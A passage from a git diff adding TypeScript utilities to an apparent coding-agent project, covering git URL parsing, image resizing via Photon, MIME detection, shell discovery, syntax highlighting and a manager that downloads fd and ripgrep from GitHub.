scpLikeMatch[2] ?? ""; + } else if ( + repoWithoutRef.startsWith("https://") || + repoWithoutRef.startsWith("http://") || + repoWithoutRef.startsWith("ssh://") || + repoWithoutRef.startsWith("git://") + ) { + try { + const parsed = new URL(repoWithoutRef); + host = parsed.hostname; + path = parsed.pathname.replace(/^\/+/, ""); + } catch { + return null; + } + } else { + const slashIndex = repoWithoutRef.indexOf("/"); + if (slashIndex < 0) { + return null; + } + host = repoWithoutRef.slice(0, slashIndex); + path = repoWithoutRef.slice(slashIndex + 1); + if (!host.includes(".") && host !== "localhost") { + return null; + } + repo = `https://${repoWithoutRef}`; + } + + const normalizedPath = normalizeGitPath(path); + if (!isSafeGitHost(host) || !normalizedPath) { + return null; + } + + return { + type: "git", + repo, + host, + path: normalizedPath, + ref, + pinned: Boolean(ref), + }; +} + +function isSafeGitHost(host: string): boolean { + return ( + Boolean(host) && !host.includes("/") && !host.includes("\\") && host !== "." && host !== ".." + ); +} + +function normalizeGitPath(path: string): string | null { + const normalizedPath = path.replace(/\.git$/, "").replace(/^\/+/, ""); + const segments = normalizedPath.split("/"); + if (segments.length < 2) { + return null; + } + if ( + segments.some( + (segment) => !segment || segment === "." || segment === ".." || segment.includes("\\"), + ) + ) { + return null; + } + return segments.join("/"); +} + +/** + * Parse git source into a GitSource. + * + * Rules: + * - With git: prefix, accept all historical shorthand forms. + * - Without git: prefix, only accept explicit protocol URLs. + */ +export function parseGitUrl(source: string): GitSource | null { + const trimmed = source.trim(); + const hasGitPrefix = trimmed.startsWith("git:"); + const url = hasGitPrefix ? trimmed.slice(4).trim() : trimmed; + + if (!hasGitPrefix && !/^(https?|ssh|git):\/\//i.test(url)) { + return null; + } + + const split = splitRef(url); + + const hostedCandidates = [split.ref ? `${split.repo}#${split.ref}` : undefined, url].filter( + (value): value is string => Boolean(value), + ); + for (const candidate of hostedCandidates) { + const info = hostedGitInfo.fromUrl(candidate); + if (info) { + if (split.ref && info.project?.includes("@")) { + continue; + } + const host = info.domain || ""; + const path = normalizeGitPath(`${info.user}/${info.project}`); + if (!isSafeGitHost(host) || !path) { + continue; + } + const useHttpsPrefix = + !split.repo.startsWith("http://") && + !split.repo.startsWith("https://") && + !split.repo.startsWith("ssh://") && + !split.repo.startsWith("git://") && + !split.repo.startsWith("git@"); + return { + type: "git", + repo: useHttpsPrefix ? `https://${split.repo}` : split.repo, + host, + path, + ref: info.committish || split.ref || undefined, + pinned: Boolean(info.committish || split.ref), + }; + } + } + + const httpsCandidates = [ + split.ref ? `https://${split.repo}#${split.ref}` : undefined, + `https://${url}`, + ].filter((value): value is string => Boolean(value)); + for (const candidate of httpsCandidates) { + const info = hostedGitInfo.fromUrl(candidate); + if (info) { + if (split.ref && info.project?.includes("@")) { + continue; + } + const host = info.domain || ""; + const path = normalizeGitPath(`${info.user}/${info.project}`); + if (!isSafeGitHost(host) || !path) { + continue; + } + return { + type: "git", + repo: `https://${split.repo}`, + host, + path, + ref: info.committish || split.ref || undefined, + pinned: Boolean(info.committish || split.ref), + }; + } + } + + return parseGenericGitUrl(url); +} diff --git a/src/agents/utils/html.ts b/src/agents/utils/html.ts new file mode 100644 index 00000000000..878589cb3e1 --- /dev/null +++ b/src/agents/utils/html.ts @@ -0,0 +1,51 @@ +export interface DecodedHtmlEntity { + text: string; + length: number; +} + +function decodeCodePoint(codePoint: number): string | undefined { + if (!Number.isInteger(codePoint) || codePoint < 0 || codePoint > 0x10ffff) { + return undefined; + } + return String.fromCodePoint(codePoint); +} + +export function decodeHtmlEntity(entity: string): string | undefined { + switch (entity) { + case "amp": + return "&"; + case "lt": + return "<"; + case "gt": + return ">"; + case "quot": + return '"'; + case "apos": + return "'"; + } + + if (entity.startsWith("#x") || entity.startsWith("#X")) { + return decodeCodePoint(Number.parseInt(entity.slice(2), 16)); + } + + if (entity.startsWith("#")) { + return decodeCodePoint(Number.parseInt(entity.slice(1), 10)); + } + + return undefined; +} + +export function decodeHtmlEntityAt(html: string, index: number): DecodedHtmlEntity | undefined { + const semicolonIndex = html.indexOf(";", index + 1); + if (semicolonIndex === -1 || semicolonIndex - index > 16) { + return undefined; + } + + const entity = html.slice(index + 1, semicolonIndex); + const decoded = decodeHtmlEntity(entity); + if (decoded === undefined) { + return undefined; + } + + return { text: decoded, length: semicolonIndex - index + 1 }; +} diff --git a/src/agents/utils/image-resize.ts b/src/agents/utils/image-resize.ts new file mode 100644 index 00000000000..dde49d15d97 --- /dev/null +++ b/src/agents/utils/image-resize.ts @@ -0,0 +1,189 @@ +import type { ImageContent } from "../../llm/types.js"; +import { applyExifOrientation } from "./exif-orientation.js"; +import { loadPhoton } from "./photon.js"; + +export interface ImageResizeOptions { + maxWidth?: number; // Default: 2000 + maxHeight?: number; // Default: 2000 + maxBytes?: number; // Default: 4.5MB of base64 payload (below Anthropic's 5MB limit) + jpegQuality?: number; // Default: 80 +} + +export interface ResizedImage { + data: string; // base64 + mimeType: string; + originalWidth: number; + originalHeight: number; + width: number; + height: number; + wasResized: boolean; +} + +// 4.5MB of base64 payload. Provides headroom below Anthropic's 5MB limit. +const DEFAULT_MAX_BYTES = 4.5 * 1024 * 1024; + +const DEFAULT_OPTIONS: Required = { + maxWidth: 2000, + maxHeight: 2000, + maxBytes: DEFAULT_MAX_BYTES, + jpegQuality: 80, +}; + +interface EncodedCandidate { + data: string; + encodedSize: number; + mimeType: string; +} + +function encodeCandidate(buffer: Uint8Array, mimeType: string): EncodedCandidate { + const data = Buffer.from(buffer).toString("base64"); + return { + data, + encodedSize: Buffer.byteLength(data, "utf-8"), + mimeType, + }; +} + +/** + * Resize an image to fit within the specified max dimensions and encoded file size. + * Returns null if the image cannot be resized below maxBytes. + * + * Uses Photon (Rust/WASM) for image processing. If Photon is not available, + * returns null. + * + * Strategy for staying under maxBytes: + * 1. First resize to maxWidth/maxHeight + * 2. Try both PNG and JPEG formats, pick the smaller one + * 3. If still too large, try JPEG with decreasing quality + * 4. If still too large, progressively reduce dimensions until 1x1 + */ +export async function resizeImage( + img: ImageContent, + options?: ImageResizeOptions, +): Promise { + const opts = { ...DEFAULT_OPTIONS, ...options }; + const inputBuffer = Buffer.from(img.data, "base64"); + const inputBase64Size = Buffer.byteLength(img.data, "utf-8"); + + const photon = await loadPhoton(); + if (!photon) { + return null; + } + + let image: ReturnType | undefined; + try { + const inputBytes = new Uint8Array(inputBuffer); + const rawImage = photon.PhotonImage.new_from_byteslice(inputBytes); + image = applyExifOrientation(photon, rawImage, inputBytes); + if (image !== rawImage) { + rawImage.free(); + } + + const originalWidth = image.get_width(); + const originalHeight = image.get_height(); + const format = img.mimeType?.split("/")[1] ?? "png"; + + // Check if already within all limits (dimensions AND encoded size) + if ( + originalWidth <= opts.maxWidth && + originalHeight <= opts.maxHeight && + inputBase64Size < opts.maxBytes + ) { + return { + data: img.data, + mimeType: img.mimeType ?? `image/${format}`, + originalWidth, + originalHeight, + width: originalWidth, + height: originalHeight, + wasResized: false, + }; + } + + // Calculate initial dimensions respecting max limits + let targetWidth = originalWidth; + let targetHeight = originalHeight; + + if (targetWidth > opts.maxWidth) { + targetHeight = Math.round((targetHeight * opts.maxWidth) / targetWidth); + targetWidth = opts.maxWidth; + } + if (targetHeight > opts.maxHeight) { + targetWidth = Math.round((targetWidth * opts.maxHeight) / targetHeight); + targetHeight = opts.maxHeight; + } + + function tryEncodings( + width: number, + height: number, + jpegQualities: number[], + ): EncodedCandidate[] { + const resized = photon!.resize(image!, width, height, photon!.SamplingFilter.Lanczos3); + + try { + const candidates: EncodedCandidate[] = [encodeCandidate(resized.get_bytes(), "image/png")]; + for (const quality of jpegQualities) { + candidates.push(encodeCandidate(resized.get_bytes_jpeg(quality), "image/jpeg")); + } + return candidates; + } finally { + resized.free(); + } + } + + const qualitySteps = Array.from(new Set([opts.jpegQuality, 85, 70, 55, 40])); + let currentWidth = targetWidth; + let currentHeight = targetHeight; + + while (true) { + const candidates = tryEncodings(currentWidth, currentHeight, qualitySteps); + for (const candidate of candidates) { + if (candidate.encodedSize < opts.maxBytes) { + return { + data: candidate.data, + mimeType: candidate.mimeType, + originalWidth, + originalHeight, + width: currentWidth, + height: currentHeight, + wasResized: true, + }; + } + } + + if (currentWidth === 1 && currentHeight === 1) { + break; + } + + const nextWidth = currentWidth === 1 ? 1 : Math.max(1, Math.floor(currentWidth * 0.75)); + const nextHeight = currentHeight === 1 ? 1 : Math.max(1, Math.floor(currentHeight * 0.75)); + if (nextWidth === currentWidth && nextHeight === currentHeight) { + break; + } + + currentWidth = nextWidth; + currentHeight = nextHeight; + } + + return null; + } catch { + return null; + } finally { + if (image) { + image.free(); + } + } +} + +/** + * Format a dimension note for resized images. + * This helps the model understand the coordinate mapping. + */ +export function formatDimensionNote(result: ResizedImage): string | undefined { + if (!result.wasResized) { + return undefined; + } + + const scale = result.originalWidth / result.width; + return `[Image: original ${result.originalWidth}x${result.originalHeight}, displayed at ${result.width}x${result.height}. Multiply coordinates by ${scale.toFixed(2)} to map to original image.]`; +} diff --git a/src/agents/utils/mime.ts b/src/agents/utils/mime.ts new file mode 100644 index 00000000000..994e37a12d9 --- /dev/null +++ b/src/agents/utils/mime.ts @@ -0,0 +1,90 @@ +import { open } from "node:fs/promises"; + +const IMAGE_TYPE_SNIFF_BYTES = 4100; +const PNG_SIGNATURE = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]; + +export function detectSupportedImageMimeType(buffer: Uint8Array): string | null { + if (startsWith(buffer, [0xff, 0xd8, 0xff])) { + return buffer[3] === 0xf7 ? null : "image/jpeg"; + } + if (startsWith(buffer, PNG_SIGNATURE)) { + return isPng(buffer) && !isAnimatedPng(buffer) ? "image/png" : null; + } + if (startsWithAscii(buffer, 0, "GIF")) { + return "image/gif"; + } + if (startsWithAscii(buffer, 0, "RIFF") && startsWithAscii(buffer, 8, "WEBP")) { + return "image/webp"; + } + return null; +} + +export async function detectSupportedImageMimeTypeFromFile( + filePath: string, +): Promise { + const fileHandle = await open(filePath, "r"); + try { + const buffer = Buffer.alloc(IMAGE_TYPE_SNIFF_BYTES); + const { bytesRead } = await fileHandle.read(buffer, 0, IMAGE_TYPE_SNIFF_BYTES, 0); + return detectSupportedImageMimeType(buffer.subarray(0, bytesRead)); + } finally { + await fileHandle.close(); + } +} + +function isPng(buffer: Uint8Array): boolean { + return ( + buffer.length >= 16 && + readUint32BE(buffer, PNG_SIGNATURE.length) === 13 && + startsWithAscii(buffer, 12, "IHDR") + ); +} + +function isAnimatedPng(buffer: Uint8Array): boolean { + let offset = PNG_SIGNATURE.length; + while (offset + 8 <= buffer.length) { + const chunkLength = readUint32BE(buffer, offset); + const chunkTypeOffset = offset + 4; + if (startsWithAscii(buffer, chunkTypeOffset, "acTL")) { + return true; + } + if (startsWithAscii(buffer, chunkTypeOffset, "IDAT")) { + return false; + } + + const nextOffset = offset + 8 + chunkLength + 4; + if (nextOffset <= offset || nextOffset > buffer.length) { + return false; + } + offset = nextOffset; + } + return false; +} + +function readUint32BE(buffer: Uint8Array, offset: number): number { + return ( + (buffer[offset] ?? 0) * 0x1000000 + + ((buffer[offset + 1] ?? 0) << 16) + + ((buffer[offset + 2] ?? 0) << 8) + + (buffer[offset + 3] ?? 0) + ); +} + +function startsWith(buffer: Uint8Array, bytes: number[]): boolean { + if (buffer.length < bytes.length) { + return false; + } + return bytes.every((byte, index) => buffer[index] === byte); +} + +function startsWithAscii(buffer: Uint8Array, offset: number, text: string): boolean { + if (buffer.length < offset + text.length) { + return false; + } + for (let index = 0; index < text.length; index++) { + if (buffer[offset + index] !== text.charCodeAt(index)) { + return false; + } + } + return true; +} diff --git a/src/agents/utils/paths.ts b/src/agents/utils/paths.ts new file mode 100644 index 00000000000..c059f8943eb --- /dev/null +++ b/src/agents/utils/paths.ts @@ -0,0 +1,78 @@ +import { realpathSync } from "node:fs"; +import { isAbsolute, relative, resolve as resolvePath, sep } from "node:path"; +import { spawnProcessSync } from "./child-process.js"; + +/** + * Resolve a path to its canonical (real) form, following symlinks. + * Falls back to the raw path if resolution fails (e.g. the target does + * not exist yet), so that callers never crash on missing filesystem + * entries. + */ +export function canonicalizePath(path: string): string { + try { + return realpathSync(path); + } catch { + return path; + } +} + +/** + * Returns true if the value is NOT a package source (npm:, git:, etc.) + * or a URL protocol. Bare names and relative paths without ./ prefix + * are considered local. + */ +export function isLocalPath(value: string): boolean { + const trimmed = value.trim(); + // Known non-local prefixes + if ( + trimmed.startsWith("npm:") || + trimmed.startsWith("git:") || + trimmed.startsWith("github:") || + trimmed.startsWith("http:") || + trimmed.startsWith("https:") || + trimmed.startsWith("ssh:") + ) { + return false; + } + return true; +} + +function resolveAgainstCwd(filePath: string, cwd: string): string { + return isAbsolute(filePath) ? resolvePath(filePath) : resolvePath(cwd, filePath); +} + +export function getCwdRelativePath(filePath: string, cwd: string): string | undefined { + const resolvedCwd = resolvePath(cwd); + const resolvedPath = resolveAgainstCwd(filePath, resolvedCwd); + const relativePath = relative(resolvedCwd, resolvedPath); + const isInsideCwd = + relativePath === "" || + (relativePath !== ".." && !relativePath.startsWith(`..${sep}`) && !isAbsolute(relativePath)); + + return isInsideCwd ? relativePath || "." : undefined; +} + +export function formatPathRelativeToCwdOrAbsolute(filePath: string, cwd: string): string { + const absolutePath = resolveAgainstCwd(filePath, cwd); + return (getCwdRelativePath(absolutePath, cwd) ?? absolutePath).split(sep).join("/"); +} + +export function markPathIgnoredByCloudSync(path: string): void { + const attrs = + process.platform === "darwin" + ? ["com.dropbox.ignored", "com.apple.fileprovider.ignore#P"] + : process.platform === "linux" + ? ["user.com.dropbox.ignored"] + : []; + + for (const attr of attrs) { + if (process.platform === "darwin") { + spawnProcessSync("xattr", ["-w", attr, "1", path], { encoding: "utf-8", stdio: "ignore" }); + } else { + spawnProcessSync("setfattr", ["-n", attr, "-v", "1", path], { + encoding: "utf-8", + stdio: "ignore", + }); + } + } +} diff --git a/src/agents/utils/photon.ts b/src/agents/utils/photon.ts new file mode 100644 index 00000000000..3d97bbb43e7 --- /dev/null +++ b/src/agents/utils/photon.ts @@ -0,0 +1,139 @@ +/** + * Photon image processing wrapper. + * + * This module provides a unified interface to @silvia-odwyer/photon-node that works in: + * 1. Node.js (development, npm run build) + * 2. Bun compiled binaries (standalone distribution) + * + * The challenge: photon-node's CJS entry uses fs.readFileSync(__dirname + '/photon_rs_bg.wasm') + * which bakes the build machine's absolute path into Bun compiled binaries. + * + * Solution: + * 1. Patch fs.readFileSync to redirect missing photon_rs_bg.wasm reads + * 2. Copy photon_rs_bg.wasm next to the executable in standalone binary builds + */ + +import type { PathOrFileDescriptor } from "node:fs"; +import { createRequire } from "node:module"; +import * as path from "node:path"; +import { fileURLToPath } from "node:url"; + +const require = createRequire(import.meta.url); +const fs = require("node:fs") as typeof import("fs"); + +// Re-export types from the main package +export type { PhotonImage as PhotonImageType } from "@silvia-odwyer/photon-node"; + +type ReadFileSync = typeof fs.readFileSync; + +const WASM_FILENAME = "photon_rs_bg.wasm"; + +// Lazy-loaded photon module +let photonModule: typeof import("@silvia-odwyer/photon-node") | null = null; +let loadPromise: Promise | null = null; + +function pathOrNull(file: PathOrFileDescriptor): string | null { + if (typeof file === "string") { + return file; + } + if (file instanceof URL) { + return fileURLToPath(file); + } + return null; +} + +function getFallbackWasmPaths(): string[] { + const execDir = path.dirname(process.execPath); + return [ + path.join(execDir, WASM_FILENAME), + path.join(execDir, "photon", WASM_FILENAME), + path.join(process.cwd(), WASM_FILENAME), + ]; +} + +function patchPhotonWasmRead(): () => void { + const originalReadFileSync: ReadFileSync = fs.readFileSync.bind(fs); + const fallbackPaths = getFallbackWasmPaths(); + const mutableFs = fs as { readFileSync: ReadFileSync }; + + const patchedReadFileSync: ReadFileSync = ((...args: Parameters) => { + const [file, options] = args; + const resolvedPath = pathOrNull(file); + + if (resolvedPath?.endsWith(WASM_FILENAME)) { + try { + return originalReadFileSync(...args); + } catch (error) { + const err = error as NodeJS.ErrnoException; + if (err?.code && err.code !== "ENOENT") { + throw error; + } + + for (const fallbackPath of fallbackPaths) { + if (!fs.existsSync(fallbackPath)) { + continue; + } + if (options === undefined) { + return originalReadFileSync(fallbackPath); + } + return originalReadFileSync(fallbackPath, options); + } + + throw error; + } + } + + return originalReadFileSync(...args); + }) as ReadFileSync; + + try { + mutableFs.readFileSync = patchedReadFileSync; + } catch { + Object.defineProperty(fs, "readFileSync", { + value: patchedReadFileSync, + writable: true, + configurable: true, + }); + } + + return () => { + try { + mutableFs.readFileSync = originalReadFileSync; + } catch { + Object.defineProperty(fs, "readFileSync", { + value: originalReadFileSync, + writable: true, + configurable: true, + }); + } + }; +} + +/** + * Load the photon module asynchronously. + * Returns cached module on subsequent calls. + */ +export async function loadPhoton(): Promise { + if (photonModule) { + return photonModule; + } + + if (loadPromise) { + return loadPromise; + } + + loadPromise = (async () => { + const restoreReadFileSync = patchPhotonWasmRead(); + try { + photonModule = await import("@silvia-odwyer/photon-node"); + return photonModule; + } catch { + photonModule = null; + return photonModule; + } finally { + restoreReadFileSync(); + } + })(); + + return loadPromise; +} diff --git a/src/agents/utils/shell.ts b/src/agents/utils/shell.ts new file mode 100644 index 00000000000..1af40a757b0 --- /dev/null +++ b/src/agents/utils/shell.ts @@ -0,0 +1,203 @@ +import { spawnSync } from "node:child_process"; +import { existsSync } from "node:fs"; +import { delimiter } from "node:path"; +import { + killProcessTree as killProcessTreeGracefully, + type KillProcessTreeOptions, +} from "../../process/kill-tree.js"; +import { getBinDir } from "../config.js"; + +export interface ShellConfig { + shell: string; + args: string[]; +} + +/** + * Find bash executable on PATH (cross-platform) + */ +function findBashOnPath(): string | null { + if (process.platform === "win32") { + // Windows: Use 'where' and verify file exists (where can return non-existent paths) + try { + const result = spawnSync("where", ["bash.exe"], { + encoding: "utf-8", + timeout: 5000, + windowsHide: true, + }); + if (result.status === 0 && result.stdout) { + const firstMatch = result.stdout.trim().split(/\r?\n/)[0]; + if (firstMatch && existsSync(firstMatch)) { + return firstMatch; + } + } + } catch { + // Ignore errors + } + return null; + } + + // Unix: Use 'which' and trust its output (handles Termux and special filesystems) + try { + const result = spawnSync("which", ["bash"], { encoding: "utf-8", timeout: 5000 }); + if (result.status === 0 && result.stdout) { + const firstMatch = result.stdout.trim().split(/\r?\n/)[0]; + if (firstMatch) { + return firstMatch; + } + } + } catch { + // Ignore errors + } + return null; +} + +/** + * Resolve shell configuration based on platform and an optional explicit shell path. + * Resolution order: + * 1. User-specified shellPath + * 2. On Windows: Git Bash in known locations, then bash on PATH + * 3. On Unix: /bin/bash, then bash on PATH, then fallback to sh + */ +export function getShellConfig(customShellPath?: string): ShellConfig { + // 1. Check user-specified shell path + if (customShellPath) { + if (existsSync(customShellPath)) { + return { shell: customShellPath, args: ["-c"] }; + } + throw new Error(`Custom shell path not found: ${customShellPath}`); + } + + if (process.platform === "win32") { + // 2. Try Git Bash in known locations + const paths: string[] = []; + const programFiles = process.env.ProgramFiles; + if (programFiles) { + paths.push(`${programFiles}\\Git\\bin\\bash.exe`); + } + const programFilesX86 = process.env["ProgramFiles(x86)"]; + if (programFilesX86) { + paths.push(`${programFilesX86}\\Git\\bin\\bash.exe`); + } + + for (const path of paths) { + if (existsSync(path)) { + return { shell: path, args: ["-c"] }; + } + } + + // 3. Fallback: search bash.exe on PATH (Cygwin, MSYS2, WSL, etc.) + const bashOnPath = findBashOnPath(); + if (bashOnPath) { + return { shell: bashOnPath, args: ["-c"] }; + } + + throw new Error( + `No bash shell found. Options:\n` + + ` 1. Install Git for Windows: https://git-scm.com/download/win\n` + + ` 2. Add your bash to PATH (Cygwin, MSYS2, etc.)\n` + + " 3. Set shellPath in settings.json\n\n" + + `Searched Git Bash in:\n${paths.map((p) => ` ${p}`).join("\n")}`, + ); + } + + // Unix: try /bin/bash, then bash on PATH, then fallback to sh + if (existsSync("/bin/bash")) { + return { shell: "/bin/bash", args: ["-c"] }; + } + + const bashOnPath = findBashOnPath(); + if (bashOnPath) { + return { shell: bashOnPath, args: ["-c"] }; + } + + return { shell: "sh", args: ["-c"] }; +} + +export function getShellEnv(): NodeJS.ProcessEnv { + const binDir = getBinDir(); + const pathKey = Object.keys(process.env).find((key) => key.toLowerCase() === "path") ?? "PATH"; + const currentPath = process.env[pathKey] ?? ""; + const pathEntries = currentPath.split(delimiter).filter(Boolean); + const hasBinDir = pathEntries.includes(binDir); + const updatedPath = hasBinDir + ? currentPath + : [binDir, currentPath].filter(Boolean).join(delimiter); + + return { + ...process.env, + [pathKey]: updatedPath, + }; +} + +/** + * Sanitize binary output for display/storage. + * Removes characters that crash string-width or cause display issues: + * - Control characters (except tab, newline, carriage return) + * - Lone surrogates + * - Unicode Format characters (crash string-width due to a bug) + * - Characters with undefined code points + */ +export function sanitizeBinaryOutput(str: string): string { + // Use Array.from to properly iterate over code points (not code units) + // This handles surrogate pairs correctly and catches edge cases where + // codePointAt() might return undefined + return Array.from(str) + .filter((char) => { + // Filter out characters that cause string-width to crash + // This includes: + // - Unicode format characters + // - Lone surrogates (already filtered by Array.from) + // - Control chars except \t \n \r + // - Characters with undefined code points + + const code = char.codePointAt(0); + + // Skip if code point is undefined (edge case with invalid strings) + if (code === undefined) { + return false; + } + + // Allow tab, newline, carriage return + if (code === 0x09 || code === 0x0a || code === 0x0d) { + return true; + } + + // Filter out control characters (0x00-0x1F, except 0x09, 0x0a, 0x0x0d) + if (code <= 0x1f) { + return false; + } + + // Filter out Unicode format characters + if (code >= 0xfff9 && code <= 0xfffb) { + return false; + } + + return true; + }) + .join(""); +} + +/** + * Detached child processes must be tracked so they can be killed on parent + * shutdown signals (SIGHUP/SIGTERM). + */ +const trackedDetachedChildPids = new Set(); + +export function trackDetachedChildPid(pid: number): void { + trackedDetachedChildPids.add(pid); +} + +export function untrackDetachedChildPid(pid: number): void { + trackedDetachedChildPids.delete(pid); +} + +export function killTrackedDetachedChildren(): void { + for (const pid of trackedDetachedChildPids) { + killProcessTree(pid); + } + trackedDetachedChildPids.clear(); +} + +export function killProcessTree(pid: number, opts?: KillProcessTreeOptions): void { + killProcessTreeGracefully(pid, { force: true, ...opts }); +} diff --git a/src/agents/utils/sleep.ts b/src/agents/utils/sleep.ts new file mode 100644 index 00000000000..60232f35252 --- /dev/null +++ b/src/agents/utils/sleep.ts @@ -0,0 +1,18 @@ +/** + * Sleep helper that respects abort signal. + */ +export function sleep(ms: number, signal?: AbortSignal): Promise { + return new Promise((resolve, reject) => { + if (signal?.aborted) { + reject(new Error("Aborted")); + return; + } + + const timeout = setTimeout(resolve, ms); + + signal?.addEventListener("abort", () => { + clearTimeout(timeout); + reject(new Error("Aborted")); + }); + }); +} diff --git a/src/agents/utils/syntax-highlight.ts b/src/agents/utils/syntax-highlight.ts new file mode 100644 index 00000000000..40e22176487 --- /dev/null +++ b/src/agents/utils/syntax-highlight.ts @@ -0,0 +1,155 @@ +import hljs from "highlight.js/lib/index.js"; +import { decodeHtmlEntityAt } from "./html.js"; + +export type HighlightFormatter = (text: string) => string; +export type HighlightTheme = Partial>; + +export interface HighlightOptions { + language?: string; + ignoreIllegals?: boolean; + languageSubset?: string[]; + theme?: HighlightTheme; +} + +const SPAN_CLOSE = ""; +const HIGHLIGHT_CLASS_PREFIX = "hljs-"; + +function getScopeFromSpanTag(tag: string): string | undefined { + const match = /\sclass\s*=\s*(?:"([^"]*)"|'([^']*)')/.exec(tag); + const classValue = match?.[1] ?? match?.[2]; + if (!classValue) { + return undefined; + } + + for (const className of classValue.split(/\s+/)) { + if (className.startsWith(HIGHLIGHT_CLASS_PREFIX)) { + return className.slice(HIGHLIGHT_CLASS_PREFIX.length); + } + } + + return undefined; +} + +function getScopeFormatter(scope: string, theme: HighlightTheme): HighlightFormatter | undefined { + const exact = theme[scope]; + if (exact) { + return exact; + } + + const dotIndex = scope.indexOf("."); + if (dotIndex !== -1) { + const prefixFormatter = theme[scope.slice(0, dotIndex)]; + if (prefixFormatter) { + return prefixFormatter; + } + } + + const dashIndex = scope.indexOf("-"); + if (dashIndex !== -1) { + const prefixFormatter = theme[scope.slice(0, dashIndex)]; + if (prefixFormatter) { + return prefixFormatter; + } + } + + return undefined; +} + +function getActiveFormatter( + scopes: Array, + theme: HighlightTheme, +): HighlightFormatter | undefined { + for (let i = scopes.length - 1; i >= 0; i--) { + const scope = scopes[i]; + if (!scope) { + continue; + } + const formatter = getScopeFormatter(scope, theme); + if (formatter) { + return formatter; + } + } + return theme.default; +} + +function isSpanOpenTagStart(html: string, index: number): boolean { + if (!html.startsWith("" || + nextChar === " " || + nextChar === "\t" || + nextChar === "\n" || + nextChar === "\r" + ); +} + +export function renderHighlightedHtml(html: string, theme: HighlightTheme = {}): string { + let output = ""; + let textBuffer = ""; + const scopes: Array = []; + + const flushText = () => { + if (!textBuffer) { + return; + } + const formatter = getActiveFormatter(scopes, theme); + output += formatter ? formatter(textBuffer) : textBuffer; + textBuffer = ""; + }; + + let index = 0; + while (index < html.length) { + if (isSpanOpenTagStart(html, index)) { + const tagEndIndex = html.indexOf(">", index + 5); + if (tagEndIndex !== -1) { + flushText(); + const tag = html.slice(index, tagEndIndex + 1); + const scope = getScopeFromSpanTag(tag); + scopes.push(scope); + index = tagEndIndex + 1; + continue; + } + } + + if (html.startsWith(SPAN_CLOSE, index)) { + flushText(); + if (scopes.length > 0) { + scopes.pop(); + } + index += SPAN_CLOSE.length; + continue; + } + + if (html[index] === "&") { + const decoded = decodeHtmlEntityAt(html, index); + if (decoded) { + textBuffer += decoded.text; + index += decoded.length; + continue; + } + } + + textBuffer += html[index]; + index++; + } + + flushText(); + return output; +} + +export function highlight(code: string, options: HighlightOptions = {}): string { + const html = options.language + ? hljs.highlight(code, { + language: options.language, + ignoreIllegals: options.ignoreIllegals, + }).value + : hljs.highlightAuto(code, options.languageSubset).value; + return renderHighlightedHtml(html, options.theme); +} + +export function supportsLanguage(name: string): boolean { + return hljs.getLanguage(name) !== undefined; +} diff --git a/src/agents/utils/tools-manager.ts b/src/agents/utils/tools-manager.ts new file mode 100644 index 00000000000..d63d71ad723 --- /dev/null +++ b/src/agents/utils/tools-manager.ts @@ -0,0 +1,432 @@ +import { type SpawnSyncReturns, spawnSync } from "node:child_process"; +import { + chmodSync, + createWriteStream, + existsSync, + mkdirSync, + readdirSync, + renameSync, + rmSync, +} from "node:fs"; +import { arch, platform } from "node:os"; +import { join } from "node:path"; +import { Readable } from "node:stream"; +import { pipeline } from "node:stream/promises"; +import type { ReadableStream as NodeReadableStream } from "node:stream/web"; +import chalk from "chalk"; +import { fetchWithSsrFGuard } from "../../infra/net/fetch-guard.js"; +import { APP_NAME, getBinDir } from "../config.js"; + +const TOOLS_DIR = getBinDir(); +const NETWORK_TIMEOUT_MS = 10_000; +const DOWNLOAD_TIMEOUT_MS = 120_000; + +function isOfflineModeEnabled(): boolean { + const value = process.env.OPENCLAW_OFFLINE; + if (!value) { + return false; + } + return value === "1" || value.toLowerCase() === "true" || value.toLowerCase() === "yes"; +} + +interface ToolConfig { + name: string; + repo: string; // GitHub repo (e.g., "sharkdp/fd") + binaryName: string; // Name of the binary inside the archive + systemBinaryNames?: string[]; // Alternative system command names to try before downloading + tagPrefix: string; // Prefix for tags (e.g., "v" for v1.0.0, "" for 1.0.0) + getAssetName: (version: string, plat: string, architecture: string) => string | null; +} + +const TOOLS: Record = { + fd: { + name: "fd", + repo: "sharkdp/fd", + binaryName: "fd", + systemBinaryNames: ["fd", "fdfind"], + tagPrefix: "v", + getAssetName: (version, plat, architecture) => { + if (plat === "darwin") { + const archStr = architecture === "arm64" ? "aarch64" : "x86_64"; + return `fd-v${version}-${archStr}-apple-darwin.tar.gz`; + } else if (plat === "linux") { + const archStr = architecture === "arm64" ? "aarch64" : "x86_64"; + return `fd-v${version}-${archStr}-unknown-linux-gnu.tar.gz`; + } else if (plat === "win32") { + const archStr = architecture === "arm64" ? "aarch64" : "x86_64"; + return `fd-v${version}-${archStr}-pc-windows-msvc.zip`; + } + return null; + }, + }, + rg: { + name: "ripgrep", + repo: "BurntSushi/ripgrep", + binaryName: "rg", + tagPrefix: "", + getAssetName: (version, plat, architecture) => { + if (plat === "darwin") { + const archStr = architecture === "arm64" ? "aarch64" : "x86_64"; + return `ripgrep-${version}-${archStr}-apple-darwin.tar.gz`; + } else if (plat === "linux") { + if (architecture === "arm64") { + return `ripgrep-${version}-aarch64-unknown-linux-gnu.tar.gz`; + } + return `ripgrep-${version}-x86_64-unknown-linux-musl.tar.gz`; + } else if (plat === "win32") { + const archStr = architecture === "arm64" ? "aarch64" : "x86_64"; + return `ripgrep-${version}-${archStr}-pc-windows-msvc.zip`; + } + return null; + }, + }, +}; + +// Check if a command exists in PATH by trying to run it +function commandExists(cmd: string): boolean { + try { + const result = spawnSync(cmd, ["--version"], { stdio: "pipe" }); + // Check for ENOENT error (command not found) + return result.error === undefined || result.error === null; + } catch { + return false; + } +} + +// Get the path to a tool (system-wide or in our tools dir) +export function getToolPath(tool: "fd" | "rg"): string | null { + const config = TOOLS[tool]; + if (!config) { + return null; + } + + // Check our tools directory first + const localPath = join(TOOLS_DIR, config.binaryName + (platform() === "win32" ? ".exe" : "")); + if (existsSync(localPath)) { + return localPath; + } + + // Check system PATH - if found, just return the command name (it's in PATH) + const systemBinaryNames = config.systemBinaryNames ?? [config.binaryName]; + for (const systemBinaryName of systemBinaryNames) { + if (commandExists(systemBinaryName)) { + return systemBinaryName; + } + } + + return null; +} + +// Fetch latest release version from GitHub +async function getLatestVersion(repo: string): Promise { + const guarded = await fetchWithSsrFGuard({ + url: `https://api.github.com/repos/${repo}/releases/latest`, + timeoutMs: NETWORK_TIMEOUT_MS, + auditContext: "tools-manager-release-check", + init: { + headers: { 